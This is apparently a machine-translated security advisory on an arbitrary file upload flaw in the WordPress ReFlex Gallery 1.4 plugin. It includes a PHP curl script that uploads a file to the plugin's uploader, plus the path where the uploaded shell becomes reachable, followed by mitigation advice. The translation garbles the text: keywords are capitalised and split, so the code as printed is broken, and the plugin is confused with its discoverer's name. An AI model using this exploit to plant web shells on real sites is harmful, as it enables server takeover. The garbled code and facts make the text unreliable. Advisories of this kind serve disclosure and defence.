WordPress ReFlex Gallery plugin 'php. php' Arbitrary File Upload Vulnerability

Release date:
Updated on:

Affected Systems:
WordPress ReFlex Gallery 1.4
Description:
--------------------------------------------------------------------------------
Bugtraq id: 57100
 
Sammy FORGIT is an integrated library album plug-in.

WordPress Sammy Forgit has a security vulnerability. wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php. php allows you to upload files with any extension to a folder in webroot. By submitting malicious PHP scripts, any PHP code can be executed.
 
<* Source: Sammy Forgit

Link: http://packetstormsecurity.com/files/119218/wpreflexgallery-shell.txt
Http://www.securelist.com/en/advisories/51698
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Exploit:
 
PostShell. php
 
<? Php
 
$ Uploadfile = "lo. php ";
$ Ch = curl_init ("http: // localhost/wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php. php ");
Curl_setopt ($ ch, CURLOPT_POST, true );
Curl_setopt ($ ch, CURLOPT_POSTFIELDS,
Array ('qqfile' => "@ $ uploadfile "));
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
$ PostResult = curl_exec ($ ch );
Curl_close ($ ch );
Print "$ postResult ";
 
?>
 
Shell Access:
Http: // localhost/wordpress/wp-content/uploads/
Filename PostShell. php output
 
Lo. php
<? Php
Phpinfo ();
?>
 
# Site: 1337day.com Inj3ct0r Exploit Database

Suggestion:
--------------------------------------------------------------------------------
Temporary solution:
 
If you cannot install or upgrade the patch immediately, NSFOCUS recommends that you take the following measures to reduce the threat:
 
* Disable the WordPress ReFlex Gallery plug-in
 
Vendor patch:
 
WordPress
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://wordpress.org/extend/plugins/reflex-gallery/